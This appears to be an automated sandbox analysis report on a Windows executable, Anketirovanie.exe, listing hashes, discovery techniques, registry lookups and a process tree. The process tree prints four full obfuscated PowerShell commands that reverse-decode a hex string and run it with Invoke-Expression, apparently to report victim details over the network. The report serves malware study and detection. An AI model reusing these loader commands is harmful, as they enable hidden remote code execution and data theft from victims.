444b373fcf1efca9948b80ffd255f20585219105dd43ed99462053e26735407a

Analysis

max time kernel
149s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
13/09/2026, 00:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Anketirovanie.exe
Size 128KB
Sample260913-alkkdshr3w
SHA256 444b373fcf1efca9948b80ffd255f20585219105dd43ed99462053e26735407a
MD5 05bf3a9fcb5febf254f477e1d04c70ff
SHA1 13dc21a17e30fbd8dfb0350a40d4732302fe939e
SHA512 4a977805824eb7ec711353e02ca442b4e2abaa161bfb0061ee6e806cc778fc4247a71a79ab46da3ad857970c37759ef08c2932da893bdd96fcedf71628cc6890
SSDEEP 1536:JiXjvhgOfvCbcGzVeoqz5DL1ApcbNnpa2IzFlDN6kw1P/x:+NgqCbcqVeoqz5DL1AmbLa2IzJ6k2x
TLSH
T1A4D31E3FE01802AFD23694F6CE975D56F5A96D03361DE08CE4C2A72BC067152E1E52AB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery

Malware Config

Signatures

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	1324	powershell.exe
3	5752	powershell.exe
4	3832	powershell.exe
5	6120	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\Control Panel\International\Geo\Nation	Anketirovanie.exe

Drops file in Program Files directory 7 IoCs

description	ioc	Process
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3128_1163991343\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3128_1163991343\_metadata\verified_contents.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3128_1163991343\_platform_specific\win_x64\widevinecdm.dll	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3128_1163991343\_platform_specific\win_x64\widevinecdm.dll.sig	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3128_1539956166\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3128_1539956166\typosquatting_list.pb	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3128_1163991343\LICENSE	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Anketirovanie.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3988	msedge.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134337945411567078"	msedge.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2091445952-3649787497-104050984-1000\{233CDE0A-A8F5-4534-A015-3D43693572AE}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2091445952-3649787497-104050984-1000\{84114AB0-117B-4C5C-955F-0DDA90622257}	msedge.exe

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
4448	Anketirovanie.exe
4448	Anketirovanie.exe
4448	Anketirovanie.exe
4448	Anketirovanie.exe
4448	Anketirovanie.exe
4448	Anketirovanie.exe
4448	Anketirovanie.exe
1324	powershell.exe
3832	powershell.exe
5752	powershell.exe
6120	powershell.exe
1324	powershell.exe
5752	powershell.exe
3832	powershell.exe
6120	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
3128	msedge.exe
3128	msedge.exe
3128	msedge.exe
3128	msedge.exe
3128	msedge.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	4448	Anketirovanie.exe
Token: SeDebugPrivilege	3832	powershell.exe
Token: SeDebugPrivilege	1324	powershell.exe
Token: SeDebugPrivilege	5752	powershell.exe
Token: SeDebugPrivilege	6120	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3128	msedge.exe

Suspicious use of WriteProcessMemory 43 IoCs

description	pid	Process	procid_target
PID 4448 wrote to memory of 1324	4448	Anketirovanie.exe	88
PID 4448 wrote to memory of 3832	4448	Anketirovanie.exe	90
PID 4448 wrote to memory of 5752	4448	Anketirovanie.exe	92
PID 4448 wrote to memory of 6120	4448	Anketirovanie.exe	94
PID 4448 wrote to memory of 3128	4448	Anketirovanie.exe	101
PID 3128 wrote to memory of 1648	3128	msedge.exe	102
PID 3128 wrote to memory of 3988	3128	msedge.exe	103
PID 3128 wrote to memory of 3248	3128	msedge.exe	104
PID 3128 wrote to memory of 3248	3128	msedge.exe	104
PID 3128 wrote to memory of 3248	3128	msedge.exe	104
PID 3128 wrote to memory of 1240	3128	msedge.exe	105
PID 3128 wrote to memory of 1240	3128	msedge.exe	105
PID 3128 wrote to memory of 2584	3128	msedge.exe	107
PID 3128 wrote to memory of 2584	3128	msedge.exe	107
PID 3128 wrote to memory of 2584	3128	msedge.exe	107
PID 3128 wrote to memory of 3748	3128	msedge.exe	106
PID 3128 wrote to memory of 3748	3128	msedge.exe	106
PID 3128 wrote to memory of 3748	3128	msedge.exe	106
PID 3128 wrote to memory of 936	3128	msedge.exe	111
PID 3128 wrote to memory of 936	3128	msedge.exe	111
PID 3128 wrote to memory of 936	3128	msedge.exe	111
PID 3128 wrote to memory of 4640	3128	msedge.exe	112
PID 3128 wrote to memory of 4640	3128	msedge.exe	112
PID 3128 wrote to memory of 4640	3128	msedge.exe	112
PID 3128 wrote to memory of 3208	3128	msedge.exe	113
PID 3128 wrote to memory of 3208	3128	msedge.exe	113
PID 3128 wrote to memory of 1848	3128	msedge.exe	114
PID 3128 wrote to memory of 2552	3128	msedge.exe	115
PID 3128 wrote to memory of 2552	3128	msedge.exe	115
PID 3128 wrote to memory of 1504	3128	msedge.exe	116
PID 3128 wrote to memory of 1504	3128	msedge.exe	116
PID 3128 wrote to memory of 3904	3128	msedge.exe	118
PID 3128 wrote to memory of 3068	3128	msedge.exe	122
PID 3128 wrote to memory of 924	3128	msedge.exe	123
PID 3128 wrote to memory of 5532	3128	msedge.exe	124
PID 3128 wrote to memory of 3388	3128	msedge.exe	125
PID 3128 wrote to memory of 3388	3128	msedge.exe	125
PID 3128 wrote to memory of 2480	3128	msedge.exe	126
PID 3128 wrote to memory of 2480	3128	msedge.exe	126
PID 3128 wrote to memory of 5256	3128	msedge.exe	127
PID 3128 wrote to memory of 5256	3128	msedge.exe	127
PID 3128 wrote to memory of 1032	3128	msedge.exe	128
PID 3128 wrote to memory of 1032	3128	msedge.exe	128

C:\Users\Admin\AppData\Local\Temp\Anketirovanie.exe
"C:\Users\Admin\AppData\Local\Temp\Anketirovanie.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4448
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "$pc ='VYPMRCYQ__Admin_4sync';$ver='v.25.7.7.3530-Anketirovanie';$msg='Anketirovanie';$stage='#SelfName';function fromHex { param ($hexString) $bytes = @(); for ($i = 0; $i -lt $hexString.Length; $i += 2) { $bytes += [convert]::ToByte($hexString.Substring($i, 2), 16); } [System.Text.Encoding]::UTF8.GetString($bytes); } $hS = 'd7b78636471636d7b327050742029746f624d2024535f4050246f6864756d4d202c62757e64202962755d20247375657175625265675d256b6f667e694b372078607e297669647f6e672b2275742d3c62757e642b7972747b3d77637d642d3567616373756d6b327566742d3e6f69637275667b3360742d33607b704d327050742b372f286365647e24756765626e25707738333636367f2f2a30747478672d3275742'; $hexString1 = $hS[-1..-($hS.length)] -join ''; $result = fromHex $hexString1; Invoke-Expression $result;"
  2⤵
  - Badlisted process makes network request
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1324
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "$pc ='VYPMRCYQ__Admin_4sync';$ver='v.25.7.7.3530-Anketirovanie';$msg='Program is launched. Process of installing is started. powershell, svchost, svchost, winlogon, fontdrvhost, svchost, fontdrvhost, svchost, svchost, RuntimeBroker, RuntimeBroker, OfficeClickToRun, svchost, svchost, svchost, svchost, svchost, svchost, smss, svchost, svchost, svchost, RuntimeBroker, svchost, svchost, svchost, csrss, svchost, svchost, wininit, svchost, svchost, svchost, StartMenuExperienceHost, svchost, svchost, svchost, svchost, upfc, svchost, svchost, explorer, dwm, svchost, dllhost, svchost, sppsvc, taskhostw, svchost, Registry, svchost, WUDFHost, services, svchost, lsass, svchost, svchost, svchost, svchost, svchost, svchost, SearchApp, svchost, svchost, RuntimeBroker, csrss, svchost, svchost, svchost, svchost, SppExtComObj, backgroundTaskHost, RuntimeBroker, svchost, svchost, svchost, svchost, svchost, dllhost, svchost, spoolsv, sihost, TextInputHost, svchost, System, Anketirovanie, Idle, ';$stage='#ProcessList1';function fromHex { param ($hexString) $bytes = @(); for ($i = 0; $i -lt $hexString.Length; $i += 2) { $bytes += [convert]::ToByte($hexString.Substring($i, 2), 16); } [System.Text.Encoding]::UTF8.GetString($bytes); } $hS = 'd7b78636471636d7b327050742029746f624d2024535f4050246f6864756d4d202c62757e64202962755d20247375657175625265675d256b6f667e694b372078607e297669647f6e672b2275742d3c62757e642b7972747b3d77637d642d3567616373756d6b327566742d3e6f69637275667b3360742d33607b704d327050742b372f286365647e24756765626e25707738333636367f2f2a30747478672d3275742'; $hexString1 = $hS[-1..-($hS.length)] -join ''; $result = fromHex $hexString1; Invoke-Expression $result;"
  2⤵
  - Badlisted process makes network request
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3832
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "$pc ='VYPMRCYQ__Admin_4sync';$ver='v.25.7.7.3530-Anketirovanie';$msg='No Cyrillic keyboard layouts found.';$stage='CyrillicResult';function fromHex { param ($hexString) $bytes = @(); for ($i = 0; $i -lt $hexString.Length; $i += 2) { $bytes += [convert]::ToByte($hexString.Substring($i, 2), 16); } [System.Text.Encoding]::UTF8.GetString($bytes); } $hS = 'd7b78636471636d7b327050742029746f624d2024535f4050246f6864756d4d202c62757e64202962755d20247375657175625265675d256b6f667e694b372078607e297669647f6e672b2275742d3c62757e642b7972747b3d77637d642d3567616373756d6b327566742d3e6f69637275667b3360742d33607b704d327050742b372f286365647e24756765626e25707738333636367f2f2a30747478672d3275742'; $hexString1 = $hS[-1..-($hS.length)] -join ''; $result = fromHex $hexString1; Invoke-Expression $result;"
  2⤵
  - Badlisted process makes network request
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5752
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "$pc ='VYPMRCYQ__Admin_4sync';$ver='v.25.7.7.3530-Anketirovanie';$msg='Something goes wrong!';$stage='#RickRoll';function fromHex { param ($hexString) $bytes = @(); for ($i = 0; $i -lt $hexString.Length; $i += 2) { $bytes += [convert]::ToByte($hexString.Substring($i, 2), 16); } [System.Text.Encoding]::UTF8.GetString($bytes); } $hS = 'd7b78636471636d7b327050742029746f624d2024535f4050246f6864756d4d202c62757e64202962755d20247375657175625265675d256b6f667e694b372078607e297669647f6e672b2275742d3c62757e642b7972747b3d77637d642d3567616373756d6b327566742d3e6f69637275667b3360742d33607b704d327050742b372f286365647e24756765626e25707738333636367f2f2a30747478672d3275742'; $hexString1 = $hS[-1..-($hS.length)] -join ''; $result = fromHex $hexString1; Invoke-Expression $result;"
  2⤵
  - Badlisted process makes network request
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:6120
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/watch?v=dQw4w9WgXcQ
  2⤵
  - Drops file in Program Files directory
  - Checks processor information in registry
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:3128
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2c4,0x2c8,0x2cc,0x2c0,0x2d4,0x7ff957a5c188,0x7ff957a5c194,0x7ff957a5c1a0
    3⤵
    PID:1648
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1952,i,8290602665565817176,3352486556201484020,524288 --field-trial-handle=2348,i,9936119255288903402,4717980424480749471,262144 --variations-seed-version --mojo-platform-channel-handle=2376 /prefetch:3
    3⤵
    - System Time Discovery
    PID:3988
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1732,i,10453948732835063434,3531473840716820269,262144 --field-trial-handle=2348,i,9936119255288903402,4717980424480749471,262144 --variations-seed-version --mojo-platform-channel-handle=2344 /prefetch:2
    3⤵
    PID:3248
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2268,i,10568763027330373601,2842962012307750835,524288 --field-trial-handle=2348,i,9936119255288903402,4717980424480749471,262144 --variations-seed-version --mojo-platform-channel-handle=2996 /prefetch:8
    3⤵
    PID:1240
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3476,i,11479550041545503212,647097965928197515,2097152 --field-trial-handle=2348,i,9936119255288903402,4717980424480749471,262144 --variations-seed-version --mojo-platform-channel-handle=3528 /prefetch:1
    3⤵
    PID:3748
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3480,i,1507252615809406614,10675349187529122112,2097152 --field-trial-handle=2348,i,9936119255288903402,4717980424480749471,262144 --variations-seed-version --mojo-platform-channel-handle=3532 /prefetch:1
    3⤵
    PID:2584
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4928,i,7039578024524960347,18379867369307171754,2097152 --field-trial-handle=2348,i,9936119255288903402,4717980424480749471,262144 --variations-seed-version --mojo-platform-channel-handle=4944 /prefetch:1
    3⤵
    PID:936
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4668,i,11231356188877423364,18348983195110423085,2097152 --field-trial-handle=2348,i,9936119255288903402,4717980424480749471,262144 --variations-seed-version --mojo-platform-channel-handle=3424 /prefetch:1
    3⤵
    PID:4640
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3536,i,8090592470443971724,8198105744586186934,524288 --field-trial-handle=2348,i,9936119255288903402,4717980424480749471,262144 --variations-seed-version --mojo-platform-channel-handle=5316 /prefetch:8
    3⤵
    PID:3208
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5276,i,1469694918851495942,5657162571264639434,524288 --field-trial-handle=2348,i,9936119255288903402,4717980424480749471,262144 --variations-seed-version --mojo-platform-channel-handle=5336 /prefetch:8
    3⤵
    - Modifies registry class
    PID:1848
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5668,i,7284443552479959161,13184586058543427959,524288 --field-trial-handle=2348,i,9936119255288903402,4717980424480749471,262144 --variations-seed-version --mojo-platform-channel-handle=5596 /prefetch:8
    3⤵
    PID:2552
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5512,i,802291716190929417,1761479234035774648,524288 --field-trial-handle=2348,i,9936119255288903402,4717980424480749471,262144 --variations-seed-version --mojo-platform-channel-handle=5752 /prefetch:8
    3⤵
    PID:1504
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6484,i,9292843596489370295,17582078675897987609,524288 --field-trial-handle=2348,i,9936119255288903402,4717980424480749471,262144 --variations-seed-version --mojo-platform-channel-handle=6500 /prefetch:8
    3⤵
    PID:5052
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6484,i,9292843596489370295,17582078675897987609,524288 --field-trial-handle=2348,i,9936119255288903402,4717980424480749471,262144 --variations-seed-version --mojo-platform-channel-handle=6500 /prefetch:8
    3⤵
    PID:3904
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6532,i,10618566849351387788,17178118935627322180,524288 --field-trial-handle=2348,i,9936119255288903402,4717980424480749471,262144 --variations-seed-version --mojo-platform-channel-handle=6500 /prefetch:8
    3⤵
    PID:3068
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6484,i,1385550835783808340,9192696487979482214,524288 --field-trial-handle=2348,i,9936119255288903402,4717980424480749471,262144 --variations-seed-version --mojo-platform-channel-handle=5676 /prefetch:8
    3⤵
    PID:924
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6576,i,366078366841743401,7540422562371852807,524288 --field-trial-handle=2348,i,9936119255288903402,4717980424480749471,262144 --variations-seed-version --mojo-platform-channel-handle=5480 /prefetch:8
    3⤵
    PID:5532
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2808,i,15723328701044556629,11147673906066460837,524288 --field-trial-handle=2348,i,9936119255288903402,4717980424480749471,262144 --variations-seed-version --mojo-platform-channel-handle=6020 /prefetch:8
    3⤵
    PID:3388
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5560,i,10200145330833990900,844066055066451582,524288 --field-trial-handle=2348,i,9936119255288903402,4717980424480749471,262144 --variations-seed-version --mojo-platform-channel-handle=6744 /prefetch:8
    3⤵
    PID:2480
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6416,i,11079929405919679401,10685728605724370803,524288 --field-trial-handle=2348,i,9936119255288903402,4717980424480749471,262144 --variations-seed-version --mojo-platform-channel-handle=6476 /prefetch:8
    3⤵
    PID:5256
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6224,i,18143000943383299347,3030505895842194461,524288 --field-trial-handle=2348,i,9936119255288903402,4717980424480749471,262144 --variations-seed-version --mojo-platform-channel-handle=5744 /prefetch:8
    3⤵
    PID:1032

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:2360

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:3740

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

manifest.json

Path C:\Program Files\chrome_Unpacker_BeginUnzipping3128_1163991343\manifest.json
Size 1002B
SHA256 dca3cd7a673d0776a085c0b8958a85bdd8392923db21a0b55f4d37210f752322
MD5 9be87722ce3608a2d38a79079feaa394
SHA1 34ed541044567272d5402b30fa99eff29d70e9b9
SHA512 d4d22a3c277a9cc3325f4f6f15f18c56efc6945ce8abccae32d66158b9f35039b347e93d0f1002b66336fbef2d750f78184e6a4b72644cb71a2ef944af52388d
TLSH
T10B119B00CC388DD322D4BAA21CC6580A93621DAF4CC23E84339E161D8F1C8AB927366C
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 1KB
SHA256 e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359
MD5 4280e36a29fa31c01e4d8b2ba726a0d8
SHA1 c485c2c9ce0a99747b18d899b71dfa9a64dabe32
SHA512 494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4
TLSH
T17A316C303221B5D84D436F5309286AD5A3FF8749ABA89F5CB569231DCD2A44BD7221F3
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 3c1c88a1dc8e5439a1a520e9db930955bf4755654f664147c54e6cba8b43ed4c
MD5 22184503a294aa98846d9a4c3975971b
SHA1 44809070563819cceeff10eeef861544783faf98
SHA512 5d29c381872b72159a2d05366e0578c0ad56eb5ef51240db505660b787e0b3b88212c74bad2c16783f95846d95fdad86172cdc01a84d34426cca804e937a679d
TLSH
